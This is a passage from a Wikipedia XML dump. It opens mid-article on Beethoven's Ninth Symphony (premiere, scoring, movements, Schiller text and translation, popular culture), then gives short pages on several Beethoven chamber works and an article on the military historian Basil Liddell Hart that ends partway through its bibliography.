When the audience applauded at the end, Beethoven was several measures off and still conducting.  Because of that, the contralto Caroline Unger walked over and forcibly turned Beethoven around to accept the audience's cheers and applause.  According to one witness, &quot;the public received the musical hero with the utmost respect and sympathy, listened to his wonderful, gigantic creations with the most absorbed attention and broke out in jubilant applause, often during sections, and repeatedly at the end of them.&quot; The whole audience acclaimed him through standing ovations five times; there were handkerchiefs in the air, hats, raised hands, so that Beethoven, who could not hear the applause, could at least see the ovation gestures. The theatre house had never seen such enthusiasm in applause. 

At that time, it was customary that the imperial couple be greeted with three ovations at their entrance in the hall. The fact that a private person, who wasn’t even employed by the state, and all the more, was a musician (class of people who had been perceived as lackeys at court), received five ovations, was in itself inadmissible, almost indecent. Police agents present at the concert had to break off this spontaneous explosion of ovations. Beethoven left the concert deeply moved. 

The repeat performance on May 23 in the great hall of the Fort was, however, poorly attended.

==Music==

===Naming===
The ''official name'' is: Symphony No. 9 in D minor, opus 125. The symphony is sometimes referred to as &quot;Choral&quot;, pointing to the vocal end of the symphony. Also known as The Symphony of Joy.

===Score===

The Ninth Symphony is scored for [[piccolo]], 2 [[flute]]s, 2  [[oboe]]s, 2 [[clarinet]]s (in C, A and B flat), 2  [[bassoon]]s, [[contrabassoon]], 4 [[horn (instrument)|horn]]s (in D, E flat, B flat and bass B flat), 2 [[trumpet]]s (in D, B flat), 3 [[trombone]]s, 2 [[timpani]], [[triangle (instrument)|triangle]], [[cymbal]]s, [[bass drum]], a string section consisting of the usual first and second [[violin]]s, [[viola]]s, [[cello]]s, [[double bass]]es, four vocal soloists (soprano, alto, tenor, baritone), and a chorus singing in four parts (soprano, alto, tenor, bass).  These are by far the largest forces needed for any Beethoven symphony; at the premiere Beethoven expanded them further by assigning two players to each wind part.

===Movements===
The symphony is in four movements, marked as follows:

# [[Allegro (music)|Allegro ma non troppo]], un poco [[maestoso]]
# Molto [[vivace]]
# [[Adagio (music)|Adagio molto]] e [[Wiktionary:cantabile|cantabile]]
# [[Presto (music)|Presto]]/[[recitative]] - [[Allegro (music)|Allegro ma non troppo]]/recitative - [[Vivace]]/recitative - [[Adagio (music)|Adagio]] [[Wiktionary:cantabile|cantabile]]/recitative - [[Allegro (music)|Allegro assai]]/recitative - [[Presto (music)|Presto]]/recitative: &quot;O Freunde&quot; - [[Allegro (music)|Allegro assai]]: &quot;Freude, schöner Götterfunken&quot; - Alla marcia - [[Allegro (music)|Allegro assai]] [[vivace]]: &quot;Froh, wie seine Sonnen&quot; - [[Andante]] [[maestoso]]: &quot;Seid umschlungen, Millionen!&quot; - [[Adagio (music)|Adagio ma non troppo]], ma divoto: &quot;Ihr, stürzt nieder&quot; - [[Allegro (music)|Allegro]] energico, sempre ben marcato: &quot;Freude, schöner Götterfunken&quot; / &quot;Seid umschlungen, Millionen!&quot; - [[Allegro (music)|Allegro]] ma non tanto: &quot;Freude, Tochter aus Elysium!&quot; - [[Prestissimo]]: &quot;Seid umschlungen, Millionen!&quot;

This arrangement of movements adopts a slightly unusual [[Classical music era|Classical]] pattern, with the [[scherzo]] movement in second (rather than the normal third) position.  Beethoven was familiar with this arrangement from [[Joseph Haydn|Haydn]]'s work and had used it on various occasions throughout his career (the [[string quartet|quartet]]s Op. 18 no. 4-5, the &quot;Archduke&quot; [[piano trio]] Op. 97, the [[Piano Sonata No. 29 (Beethoven)|&quot;Hammerklavier&quot;]] piano sonata Op. 106).

====First movement====

The first movement is in [[sonata form]], following a formal model that had guided Beethoven throughout his career.  The mood is generally bleak and stormy.  A striking moment here is the onset of the [[recapitulation]] section, which instead of literally repeating the ''pianissimo'' opening bars in [[D minor]], switches to ''fortissimo'' [[D major]], a key change which has struck many listeners, paradoxically, as expressing terror or awe. [[Piccolo]],[[Contrabassoon]], and [[Trombone]]s are not called for in this movement; however this is the first appearance of a quartet of [[horn (instrument)|horn]]s in a Beethoven symphony.

====Second movement====

The second movement, a [[scherzo]], is likewise in D minor, with the opening theme a kind of echo of the theme of the first movement, a pattern found likewise in the [[Piano Sonata No. 29 (Beethoven)|Hammerklavier]] piano sonata, written a few years earlier.  It is notable for its propulsive rhythm and [[timpani]] solos (for this purpose the two timpani are tuned, unusually, an octave apart).  At one point Beethoven gives the direction ''ritmo di tre battute'', meaning that the beats of three consecutive measures must form a single rhythmic unit, as if the music were in 9/4 instead of 3/4 time; this is later reverted with ''ritmo di quattro battute'', with the typical four-measure beat.  

The contrasting trio section is in D major and in duple time. The trio also marks the first arrival of the [[trombone]]s in the work.

====Third movement====

The lyrical and deeply felt slow movement, in [[B-flat major]], is written in a loose [[variation (music)|variation]] form, with each of the two variations dividing the basic beat to produce a more elaborate melodic configuration than what went before.  The first variation, like the theme, is in 4/4 time, the second in 12/8.  The variations are separated by more impassioned passages in 3/4, the first in D major, the second in [[G major]].  The final variation is twice interrupted by striking episodes in which loud fanfares for the full orchestra are answered by double-stopped octaves played by the first violins alone. Also worth noting is a virtuosic [[horn (instrument)|horn]] solo assigned to the fourth player. [[Trombone]]s are tacet for the movement.

====Fourth movement====

The famous choral finale has struck many listeners as somewhat rambling.  Some helpful clarification can be found in the description of [[Charles Rosen]], who characterizes it as a symphony within a symphony, containing four movements played without interruption.  This &quot;inner symphony&quot; follows the same overall pattern as the Ninth Symphony as a whole.  The scheme is as follows:

*First &quot;movement&quot;:  theme and variations with slow introduction. Main theme which first appears in the cellos and basses is &quot;recapitulated&quot; with voices(see below).
*Second &quot;movement&quot;:  6/8 scherzo in military style (begins at &quot;Alla marcia&quot;, words &quot;Froh, wie seine Sonnen fliegen&quot;).  Beethoven's older listeners at the premiere would have recognized this as so-called &quot;[[Turkish music (style)|Turkish music]].&quot; Concludes with 6/8 variation of the main theme with chorus.
*Third &quot;movement&quot;:  slow meditation with a new theme on the text &quot;Seid umschlungen, Millionen!&quot; (begins at &quot;[[Andante]] maestoso&quot;)
*Fourth &quot;movement&quot;:  [[fugue|fugato]] finale on the themes of the first and third &quot;movements&quot; (begins at &quot;[[Allegro (music)|Allegro]] energico&quot;)

The movement differs from an independent symphony because of its thematic unity:  every part is based on either the main theme, the &quot;Seid umschlungen&quot; theme, or some combination of the two.  

The first &quot;movement within a movement&quot; itself is organized into sections:  

*An introduction, which starts with a stormy, chaotic ''[[Presto (music)|Presto]]'' passage.  It then briefly quotes all three of the previous movements in order, each dismissed in various ways by the cellos and basses, which play in an instrumental foreshadowing of the vocal [[recitative]].  The introduction eventually &quot;discovers&quot; the famous theme, which then becomes the subject of---
*A series of [[variation (music)|variations]] for orchestra alone.
*The introduction is then repeated from the ''[[Presto (music)|Presto]]'' passage, this time with the bass soloist singing the recitatives previously suggested by cellos and basses, followed by---
*The variations again, this time for vocal soloists and chorus.

=====Text of fourth movement=====

Words written by Beethoven, not Schiller, are shown in italics.
{|
|-
|
:'''German original'''

:''O Freunde, nicht diese Töne!''
:''Sondern laßt uns angenehmere''
:''anstimmen und freudenvollere.''
:Freude! Froh Freude!

:Freude, schöner Götterfunken
:Tochter aus Elysium,
:Wir betreten feuertrunken,
:Himmlische, dein Heiligtum!
:Deine Zauber binden wieder
:''Was die Mode streng geteilt;''
:''Alle Menschen werden Brüder,''
:&lt;small&gt;(Schiller's original:&lt;/small&gt;
:&lt;small&gt;Was der Mode Schwert geteilt;&lt;/small&gt;
:&lt;small&gt;Bettler werden Fürstenbrüder,)&lt;/small&gt;
:Wo dein sanfter Flügel weilt.

:Wem der große Wurf gelungen,
:Eines Freundes Freund zu sein;
:Wer ein holdes Weib errungen,
:Mische seinen Jubel ein!
:Ja, wer auch nur eine Seele
:Sein nennt auf dem Erdenrund!
:Und wer's nie gekonnt, der stehle
:Weinend sich aus diesem Bund!

:Freude trinken alle Wesen
:An den Brüsten der Natur;
:Alle Guten, alle Bösen
:Folgen ihrer Rosenspur.
:Küsse gab sie uns und Reben,
:Einen Freund, geprüft im Tod;
:Wollust ward dem Wurm gegeben,
:Und der Cherub steht vor Gott.

:Froh, wie seine Sonnen fliegen
:Durch des Himmels prächt'gen Plan,
:Laufet, Brüder, eure Bahn,
:Freudig, wie ein Held zum Siegen.

:Seid umschlungen, Millionen!
:Diesen Kuß der ganzen Welt!
:Brüder, über'm Sternenzelt
:Muß ein lieber Vater wohnen.
:Ihr stürzt nieder, Millionen?
:Ahnest du den Schöpfer, Welt?
:Such' ihn über'm Sternenzelt!
:Über Sternen muß er wohnen.

:''Finale repeats the words:''
:Seid umschlungen, Millionen!
:Diesen Kuß der ganzen Welt!
:Brüder, über'm Sternenzelt
:Muß ein lieber Vater wohnen.
:Seid umschlungen,
:Diesen Kuß der ganzen Welt!
:Freude, schöner Götterfunken
:Tochter aus Elysium,
:Freude, schöner Götterfunken
|
:'''English translation'''

:''Oh friends, not these tones!''
:''Rather let us sing more''
:''cheerful and more joyful ones.''
:Joy! Glad joy!

:Joy, beautiful spark of the gods,
:Daughter of Elysium,
:We approach fire-drunk,
:Heavenly One, your shrine.
:Your magic reunites
:''What custom sternly divides;''
:''All people become brothers''
:&lt;small&gt;(Schiller's original:&lt;/small&gt;
:&lt;small&gt;What custom's sword separates;&lt;/small&gt;
:&lt;small&gt;Beggars become princes' brothers)&lt;small&gt;
:Where your gentle wing alights.

:Whoever succeeds in the great attempt
:To be a friend of a friend,
:Whoever has won a lovely woman,
:Let him add his jubilation!
:Yes, whoever calls even one soul
:His own on the earth's globe!
:And who never has, let him steal,
:Weeping, away from this group.

:All creatures drink joy
:At the breasts of nature;
:All the good, all the evil
:Follow her roses' trail.
:Kisses gave she us, and wine,
:A friend, proven unto death;
:Pleasure was to the worm granted,
:And the cherub stands before God.

:Glad, as his suns fly
:Through the Heavens' glorious plan,
:Run, brothers, your race,
:Joyful, as a hero to victory.

:Be embraced, you millions!
:This kiss for the whole world!
:Brothers, beyond the star-canopy
:Must a loving Father dwell.
:Do you bow down, you millions?
:Do you sense the Creator, world?
:Seek Him beyond the star-canopy!
:Beyond the stars must He dwell.

:''Finale repeats the words:''
:Be embraced, ye millions!
:This kiss for the whole world!
:Brothers, beyond the star-canopy
:Must a loving Father dwell.
:Be embraced,
:This kiss for the whole world!
:Joy, beautiful spark of the gods,
:Daughter of Elysium,
:Joy, beautiful spark of the gods
|}

==Trivia==

===Performing the symphony===

Lasting about 74 minutes in performance, the Ninth was an exceptionally long symphony for its time, although it has been exceeded in length by several later symphonies, most notably those of [[Bruckner]] and [[Gustav Mahler|Mahler]]. Mahler's 2nd, 3rd and 8th, inspired by Beethoven, are very similar in conception and style due to their &quot;grand&quot; demeanors and extensive use of large choral and vocal forces.

Beethoven's Ninth makes extreme demands on the singers, partly because his vocal writing seems designed to evoke a sense of effort, and partly because [[Pitch (music)#Historical pitch standards|concert pitch]] is higher now than it was in Beethoven’s day.   Thus, it is fairly rare to find a performance that is suitably forceful but avoids any hint of shrieking or shouting.  Specialists in [[authentic performance]] have experimented with performing the work at Beethoven’s concert pitch, which seems to help somewhat.

A delicate issue conductors must face is the fact that Beethoven left [[metronome]] markings specifying the [[tempo]] of each section.  Historically, conductors have been very reluctant to respect these markings, preferring, for example, a slower tempo than Beethoven's for the slow movement and a faster tempo for the military march section of the finale.  In general, Beethoven's metronome markings have proven unpopular among modern artists, and the possibility that Beethoven was (despite his unquestioned abilities as a composer) an inept metronome user should perhaps not be excluded. Conductors in the authentic performance movement, notably [[Roger Norrington]], have experimented with adhering to Beethoven's tempos, to mixed reviews.

===Ninth Symphony in the 20th century===

In [[1964]] [[Maurice Béjart]] and his [[Ballet du XXe siècle]] gave an acclaimed performance of &quot;IXe symphonie&quot;, a ballet based on the Ninth Symphony.

Among recorded performances, those conducted by [[Wilhelm Furtwängler]], especially those of [[1942]], [[1951]], and [[1954]], [[Herbert von Karajan]], especially those of [[1963]] and [[1976]], [[Fritz Reiner]], [[Leonard Bernstein]], [[George Szell]], and [[John Eliot Gardiner]] are highly regarded.  Such judgments about musical performances are often biased or controversial.  The musicologist Richard Taruskin has a detailed analysis and comparison of performances of Beethoven's 9th in his essay &quot;Resisting the Ninth&quot;.

The Ninth Symphony has frequently been incorporated into film scores, television, and popular music.  For a list of instances, see [[Beethoven's Ninth Symphony in popular culture]].

At most [[Olympic games]] during the second half of the [[20th Century]], the fourth movement has been performed as part of ceremonial processions.

The symphony seems to have taken particularly deep root in [[Japan]], where it is widely performed during December as part of the annual celebration of the new year.  For example, in the Japanese [[anime]] [[Neon Genesis Evangelion]], the character [[Nagisa Kaworu|Kaworu]] states that &quot;[The fourth movement] is the greatest achievement in the [human] culture.&quot;

An adapted form of Beethoven's setting of Schiller's ode was chosen to be the [[European anthem]] first by the [[Council of Europe]] and later by the [[European Union]]. 

[[Ritchie Blackmore]]'s band ''[[Rainbow]]'' record the final ''[[Ode to Joy]]'' movement for their 1980 album ''[[Difficult to Cure]]'', renaming it to be the title track.

Students in [[Beijing]]'s [[Tiananmen Square]] protest broadcast the symphony through loudspeakers in [[1989]] as a statement against tyranny.  A famous performance conducted by [[Leonard Bernstein]] on [[December 25]], [[1989]] celebrated the fall of the [[Berlin Wall]].  It substituted ''Freiheit'' (&quot;freedom&quot;) for ''Freude'' (&quot;joy&quot;) in the sung text.

It is widely believed that the playback time specifications of the [[Sony]]/[[Philips]] [[Compact disc|Compact Disc]] were influenced by a desire to accommodate performances of Beethoven's Ninth Symphony on a single disc, without interruption. This requirement has been variously attributed to [[Herbert von Karajan]] (a Philips artist with access to Sony chairman [[Akio Morita]]), to Morita's wife, and to Sony president [[Norio Ohga]]. The urban legends investigators at [http://www.snopes.com/music/media/cdlength.htm snopes.com] consider this to be &quot;undecided.&quot; It does appear that at a late stage in development, the diameter of the CD was increased to 12 cm to accommodate a playing time of approximately 74 minutes. 
[http://www.research.philips.com/newscenter/dossier/optrec/beethoven.html]

==The Ninth Symphony in popular culture==
Because the Ninth Symphony is perhaps the best known of all works of [[european classical music|classical music]], it has frequently been adapted for use in works of [[popular culture]], particularly film scores, television, and popular music.  The following is a partial list of such adaptations:

*The second and final movements are featured prominently in the novel ''[[A Clockwork Orange]]'' by [[Anthony Burgess]], and [[Stanley Kubrick]]'s film adaptation.  The finale of [[Herbert von Karajan]]'s [[1963]] [[Deutsche Grammophon]] recording is played over the final scene in the movie.
*The beginning of the second movement, the Scherzo, is used in the theme of Keith Olbermann's program Countdown on MSNBC.
*The final movement was adapted by [[Michael Kamen]] in his score for the [[1989]] thriller ''[[Die Hard]]''.
*A portion of the final movement was used in [[Alan J. Pakula]]'s movie [[Sophie's Choice]] from 1982.  
*The opening measures of the second movement were used as the theme music for an American news broadcast in the 1960s, the ''[[Huntley-Brinkley Report]]''. 
*[[Satoshi Kon]] used the fourth movement in his [[anime]] film [[Tokyo Godfathers]]. 
*The [[anime]] [[Neon Genesis Evangelion]] used the fourth movement as a thematic device in its 24th episode. 
*The fourth movement is used as a &quot;Death Symphony&quot; in the [[Read or Die]] [[Original Video Animation|OVA]].
*The [[anime]] [[Gunslinger Girl]] used the fourth movement at the climax of the 13th and final episode as the main characters watch a meteor shower.
*The music of the symphony was also used in the [[Trans-Siberian Orchestra]]'s album ''[[Beethoven's Last Night]]'' (most specifically in the song &quot;A Last Illusion&quot;).
*The Ninth Symphony is also heard in &quot;Memory (Dead Winter Dead)&quot;, off [[Savatage]]'s ''[[Dead Winter Dead]]'' album.
*A portion of the 4th movement is used in the opening of the song &quot;Will you be there&quot; by ''[[Michael Jackson]]''.
*Portions of the first and second movements were used in [[Don Hertzfeldt]]'s animated short film ''[[Rejected]]''.
*A portion of the choral finale was used in the film [[Dead Poets Society]], during the scene on the lawn.
*The first movement is played in the film [[Equilibrium (2002 film)|Equilibrium]].
*The fourth movement is the primary opening theme of the U.S. [[game show]] ''[[Win Ben Stein's Money]]''.
*The ''[[Ode to Joy]]'' is sung in the [[Beatles]] film ''[[Help! (film)|Help!]]''.
*''Ode to Joy'' is also used at the end of the [[1986]] movie ''[[The Money Pit]]''.
*American telecasts of the [[Olympic Games]] often feature a portion of the Fourth Movement near the end of the telecast during the montage of video highlights from the Games.
*''Song of Joy'' by Miguel Rios is a pop song adaptation of Beethoven's 9th. It was released in 1970 in the Spanish speaking world and 1971 saw its English translation. ''Song of Joy'' was a global hit.
*While the song has a generally religious theme, it is not specific to any religion. In [[1907]], Reverend [[Henry van Dyke]] wrote a specifically [[Christian]] hymn to the main theme music. Its first verse reads: ''Joyful, joyful, we adore Thee / God of glory, Lord of love / Hearts unfold like flowers before Thee / Opening to the sun above / Melt the clouds of sin and sadness / Drive the dark of doubt away / Giver of immortal gladness / Fill us with the light of day.''
*Part of ''Ode to Joy'' was mixed in as a backbeat to ''End of the Century'', one of the songs produced by [[Naoki Maeda]] (under the [[pseudonym]] &quot;No. 9&quot;) for ''[[Dance Dance Revolution 3rdMIX]].
*Both the fourth movement and a parody of Friedrich Schiller's title for it are used in the song 'Road to Joy' on [[Bright Eyes (band)|Bright Eyes]]' album [[I'm Wide Awake, It's Morning]].

==Media==
{{listen|filename=Ode to Joy.ogg|title=Ode to Joy|description=The 4th movement is a vocal setting of the ''Ode to Joy''.|format=[[Ogg]]}}

==References==

Richard Taruskin, &quot;Resisting the Ninth&quot;, in his ''Text and Act: Essays on Music and Performance'' (Oxford University Press, 1995).
David Benjamin Levy, &quot;Beethoven: the Ninth Symphony,&quot; revised edition (Yale University Press, 2003).

==External links==
* The William and Gayle Cook Music Library at the Indiana University School of Music's has posted a [http://www.dlib.indiana.edu/variations/scores/cab4188/index.html score] for the symphony.
* Alcove Music Publications' [http://alcove.www2.50megs.com/OdeToJoy.jpg simpler score].
* [http://w3.rz-berlin.mpg.de/cmp/beethoven_sym9.html Sound samples and other info from the Classical Music Pages]
* [http://www.stanford.edu/~eboyden3/beet9.html Text/libretto, with translation, in English and German]
* [http://europa.eu.int/abc/symbols/anthem/index_en.htm EU official page about the anthem]
* Analysis of the [http://www.all-about-beethoven.com/symphony9.html  Beethoven Symphony No. 9] on the [http://www.all-about-beethoven.com All About Ludwig van Beethoven] Page
* [http://www.wnyc.org/shows/soundcheck/episodes/12282004 A guided tour of Beethoven's 9th Symphony] by Robert Kapilow on [[WNYC]]'s ''Soundcheck'' 

{{Ludwig van Beethoven}}

[[Category:Anthems]]
[[Category:Ballet music]]
[[Category:Symphonies by Ludwig van Beethoven|Symphony 09]]

[[de:9. Sinfonie (Beethoven)]]
[[es:Novena Sinfonía de Beethoven]]
[[fr:9e symphonie de Beethoven]]
[[ko:교향곡 9번 (베토벤)]]
[[id:Simfoni No. 9 (Beethoven)]]
[[ja:交響曲第9番 (ベートーヴェン)]]
[[pt:Nona sinfonia de Beethoven]]
[[sl:Simfonija št. 9 (Beethoven)]]
[[vi:Giao hưởng số 9 (Beethoven)]]
[[zh:第九交响曲 (贝多芬)]]</text>
    </revision>
  </page>
  <page>
    <title>Piano Trios Nos. 1 - 3, Opus 1 (Beethoven)</title>
    <id>3437</id>
    <revision>
      <id>25933685</id>
      <timestamp>2005-10-19T17:43:48Z</timestamp>
      <contributor>
        <username>Missmarple</username>
        <id>207003</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Piano Trios, Opus 1'''
Ludwig van [[Ludwig van Beethoven|Beethoven]] - Opus 1

Three trios for [[piano]], [[violin]], and [[cello|violoncello]], first performed in 1793 in the house of prince Lichnowsky, to whom they are dedicated, and published in 1795.

Opus 1 no 1 - Piano Trio (''Klaviertrio'') No. 1 in E flat major
* [[Allegro (music)|Allegro]]
* [[Adagio (music)|Adagio]] cantabile
* [[Scherzo]]. [[Allegro (music)|Allegro]] assai
* [[Finale]]. [[Presto (music)|Presto]]

Opus 1 no 2 - Piano Trio (''Klaviertrio'') No. 2 in G major
* [[Adagio (music)|Adagio]] - [[Allegro (music)|Allegro]] vivace
* [[Largo (music)|Largo]] con espressione
* [[Scherzo]]. [[Allegro (music)|Allegro]]
* [[Finale]]. [[Presto (music)|Presto]]

Opus 1 no 3 - Piano Trio (''Klaviertrio'') No. 3 in C minor
* [[Allegro (music)|Allegro]] con brio
* [[Andante]] cantabile con [[variation (music)|Variazioni]]
* [[minuet|Minuetto]]. Quasi [[Allegro (music)|allegro]]
* [[Finale]]. [[Prestissimo]]

[[Category:Compositions by Ludwig van Beethoven]]
[[Category:Piano trios|Beethoven 1]]</text>
    </revision>
  </page>
  <page>
    <title>Piano Trios Nos. 5 - 6, Opus 70 (Beethoven)</title>
    <id>3438</id>
    <revision>
      <id>24904205</id>
      <timestamp>2005-10-06T16:40:09Z</timestamp>
      <contributor>
        <username>Schissel</username>
        <id>116587</id>
      </contributor>
      <minor />
      <comment>Add to piano trios category</comment>
      <text xml:space="preserve">[[Ludwig van Beethoven]]'s [[opus number]] 70 is a set of two '''[[Piano Trios]]'''.

Written for [[piano]], [[violin]], and [[cello]], the works were published in [[1809]]. The first, in D major, known as the ''Ghost'', is one of his best known works in the genre (rivalled only by the ''[[Archduke Trio]]'').

These pieces are representative of Beethoven's &quot;Middle&quot; stylistic period, which went from roughly [[1802]] to [[1812]], and which included many of his most famous works.  Beethoven wrote the two piano trios while spending the summer of [[1808]] in [[Heiligenstadt (Vienna)]], where he had completed his [[Symphony No. 5 (Beethoven)|Symphony No. 5]] the previous summer.  He wrote the two trios immediately after finishing his ''Sinfonia pastorale'', [[Symphony No. 6 (Beethoven)|Symphony No. 6]].  This was a period of uncertainty in Beethoven's life, in particular because he had no dependable source of income at the time. 

After finishing the trios, in the fall of 1808, he began sketching the [[Choral Fantasia (Beethoven)|Choral Fantasia]], the work considered to be the &quot;first draft&quot; of the famous [[Symphony No. 9 (Beethoven)|Symphony No. 9]].

[[Piano Trio No. 5 (Beethoven)|Op. 70 no 1]] - Piano Trio (''Klaviertrio'') No. 5 in D major &quot;Ghost&quot; 
* [[Allegro (music)|Allegro]] vivace e con brio
* [[Largo (music)|Largo]] assai ed espressivo
* [[Presto (music)|Presto]]

[[Piano Trio No. 6 (Beethoven)|Op. 70 no 2]] - Piano Trio (''Klaviertrio'') No. 6 in E flat major 
* Poco sostenuto - [[Allegro (music)|Allegro]], ma non troppo
* [[Allegretto]]
* [[Allegretto]], ma non troppo
* [[Finale]]. [[Allegro (music)|Allegro]]

{{classical-composition-stub}}

[[Category:Compositions by Ludwig van Beethoven]]
[[Category:Piano trios|Beethoven 5]]</text>
    </revision>
  </page>
  <page>
    <title>Archduke Trio</title>
    <id>3439</id>
    <revision>
      <id>32786912</id>
      <timestamp>2005-12-26T19:11:21Z</timestamp>
      <contributor>
        <ip>24.118.58.236</ip>
      </contributor>
      <text xml:space="preserve">The '''Archduke Trio''' is a piece of [[music]] by [[Ludwig van Beethoven]], his [[opus number|Opus]] 97.

It is a [[piano trio]] for [[piano]], [[violin]], and [[cello|violoncello]], published in [[1811]]. It was dedicated to the amateur pianist and student of Beethoven, [[Rudolph of Austria (Cardinal)|Archduke Rudolph of Austria]] (hence the name).

Opus 97 - Piano Trio (''Klaviertrio'') No. 7 in B flat major &quot;Archduke&quot;
* [[Allegro (music)|Allegro]] moderato
* [[Scherzo]]. [[Allegro (music)|Allegro]]
* [[Andante]] cantabile, ma con moto
* [[Allegro (music)|Allegro]] moderato

{{classical-composition-stub}}
[[Category:Compositions by Ludwig van Beethoven]]
[[Category:Piano trios|Beethoven 7]]</text>
    </revision>
  </page>
  <page>
    <title>Violin Sonata No. 5 (Beethoven)</title>
    <id>3441</id>
    <revision>
      <id>40358313</id>
      <timestamp>2006-02-20T01:09:42Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">The '''''Violin Sonata No. 5''''', opus 24, is a [[violin sonata]] by [[Ludwig van Beethoven]]. It is often known as the ''Spring'' sonata, and was published in [[1801]].  Its dedicatee was Count [[Moritz von Fries]], a patron{{ref|fries}} to whom the [[Violin Sonata No. 4 (Beethoven)|4&lt;sup&gt;th&lt;/sup&gt; violin sonata]], the [[String Quintet (Beethoven)|string quintet]] of the same year, and the [[Symphony No. 7 (Beethoven)|seventh symphony]] were also dedicated.

The work is in four movements:

* [[Allegro (music)|Allegro]]
* [[Adagio (music)|Adagio]] molto espressivo
* [[Scherzo]]. [[Allegro (music)|Allegro]] molto
* [[Rondo|Rondò]]. [[Allegro (music)|Allegro]] ma non troppo

The Scherzo and its trio are particularly brief (and as pointed out [http://www.musicweb.uk.net/classrev/2003/Apr03/Beethoven_sonatas_Kreisler.htm here] the scherzo is [[canon (music)|canon]]ic).

==Notes==

# {{note|fries}} Fries was also a travelling companion to [[Giovanni Battista Casti]], a playwright and rival of [[Lorenzo da Ponte]], and an influence on Mozart at a pivotal point in his operatic work, according to [[Alfred Einstein]]'s ''Mozart: His Character, His Work''.

==External links==
[http://www.lvbeethoven.com/Oeuvres/ListOpus.html List of works and their dedicatees]

[[Category:Compositions by Ludwig van Beethoven]]
[[Category:Violin sonatas|Beethoven Violin Sonata 5]]</text>
    </revision>
  </page>
  <page>
    <title>Basil Liddell Hart</title>
    <id>3442</id>
    <revision>
      <id>40565109</id>
      <timestamp>2006-02-21T13:43:15Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>United Kingdom</comment>
      <text xml:space="preserve">[[Image:LiddelHart.jpg|right|thumb|The military historian Basil Liddell Hart.]]
'''Basil Henry Liddell Hart''' ([[October 31]], [[1895]] - [[January 29]], [[1970]]) was a military historian who is considered to have greatly influenced the development of [[armoured warfare]] in the [[20th century]], and strategic theory.

Liddell Hart served as an officer in the [[British Army]] during [[World War I]], where he witnessed [[trench warfare]].  He set out in the following years to discover why the casualty rate had been so terribly high during the war and arrived at a set of principles that he considered the basis of all good [[military strategy|strategy]]; principles which, he claimed, were ignored by nearly all commanders in [[World War I]].

He reduced this set of principles to a single phrase, ''the [[indirect approach]]'', and two fundamentals:

*Direct attacks against an enemy firmly in position almost never work and should never be attempted 
*To defeat the enemy one must first upset his equilibrium, which is not accomplished by the main attack, but must be done before the main attack can succeed.

In Liddell Hart's words, 
&lt;blockquote&gt;
''In strategy the longest way round is often the shortest way there; a direct approach to the object exhausts the attacker and hardens the resistance by compression, whereas an indirect approach loosens the defender's hold by upsetting his balance.''
&lt;/blockquote&gt;

He also claimed that 
&lt;blockquote&gt;
''The profoundest truth of war is that the issue of battle is usually decided in the minds of the opposing commanders, not in the bodies of their men.''  
&lt;/blockquote&gt;

This argues that one succeeds by keeping one's enemy uncertain about the situation and one's intentions, and by delivering what he does not expect and is therefore not prepared for.

Hart explains that one should not employ a rigid strategy revolving around powerful direct attacks nor fixed defensive positions. Instead, he prefers a more fluid ''elastic defence'' where a mobile contingent can move as necessary in order to satisfy the conditions for the ''indirect approach''. He cited [[Erwin Rommel]]'s Northern Africa campaign as a classical example of his theory.

He arrived at his conclusions after studying the great strategists of history (especially [[Sun Tzu]], [[Napoleon]], and [[Belisarius]]) and their victories.  He believed the indirect approach was the common element in the men he studied.  He also claimed the indirect approach was a valid strategy in other fields of endeavor, such as business, romance, etc.

Liddell Hart began publishing his theories during the 1920s in the popular press.  Paradoxically, Liddell Hart saw theories similar to his own adopted by [[Germany]] and used against the [[United Kingdom]] and its allies during World War II.  
 
He retired from the British Army as a Captain in 1927 (after being invalided out and placed on halfpay because of the long term effects of [[Chemical Warfare|gassing]] which he suffered during World War I), and spent the rest of his career as a writer. He was initially a military and tennis analyst for various British newspapers. Later he began publishing military histories and biographies of great commanders who, he thought, were great because they illustrated the principles of good strategy. Among these were [[Scipio Africanus Major]], [[William Tecumseh Sherman]], and [[T.E. Lawrence]]. Shortly after World War II he interviewed/debriefed many of the highest ranking German generals and published their accounts as ''The Other Side of the Hill'' (UK Edition) and ''German Generals Talk'' (condensed US Edition).  Later Hart was able to convince the Rommel family to allow him to edit the surviving papers of the German Field Marshal into a form which was published in 1953 as the pseudo-memoir, ''The Rommel Papers''.

The principal posthumous biography of Liddell Hart, Alex Danchev's ''Alchemist of War:  The Life of Basil Liddell Hart'', written with the cooperation of Liddell Hart's widow, is startling for its candor.  Among its revelations are that Liddell Hart connived at the planting of an endorsement of his own work in the English language version of ''Panzer Leader'', the autobiography of [[Heinz Guderian]].  Although Guderian greatly admired Liddell Hart's work, and avidly read his newspaper columns, the German language edition of Guderian's autobiography gives Liddell Hart's work no greater preference than that of his contemporary, [[J.F.C. Fuller]] whom Guderian also admired.

Liddell Hart's personal library is now ensconced within the [[Liddell Hart Centre for Military Archives]] at [[King's College London]].

==Partial bibliography==
*B. H. Liddell Hart, ''A Greater Than Napoleon: Scipio Africanus'' (W Blackwood and Sons, London, 1926; Biblio and Tannen, New York, 1976)
*B. H. Liddell Hart, ''Great Captains Unveiled'' (W. Blackwood and Sons, London, 1927; Greenhill, London, 1989)
*B. H. Liddell Hart, ''Reputations 10 Years After'' (Little, Brown, Boston, 1928)
*B. H. Liddell Hart, ''The decisive wars of history'' (1929) (This is the first part of the later: ''Strategy: the indirect approach'')
*B. H. Liddell Hart, ''Sherman: Soldier, Realist, American'' (Dodd, Mead and Co, New York, 1929; Frederick A. Praeger, New York, 1960)
*B. H. Liddell Hart, ''The Ghost of Napoleon'' (Yale University, New Haven, 1934)
*B. H. Liddell Hart, ''The Defence of Britain'' (Faber and Faber, London, 1939; Greenwood, Westport, 1980)
*B. H. Liddell Hart, ''The strategy of indirect approach'' (1941, reprinted in 1942 under the title: ''The way to win wars'')
*B. H. Liddell Hart, ''The way to win wars'' (1942)
*B. H. Liddell Hart, ''Strategy: the indirect approach'', second revised edition 
*B. H. Liddell Hart, ''Strategy: the indirect approach'', third revised edition and further enlarged London: Faber and Faber, reprint: Dehra Dun, India: Natraj Publishers, 2003 
*B. H. Liddell Hart, ''The Tanks - A History of the Royal Tank Regiment and its Predecessors: Volumes I and II'' (Praeger, New York, 1959)
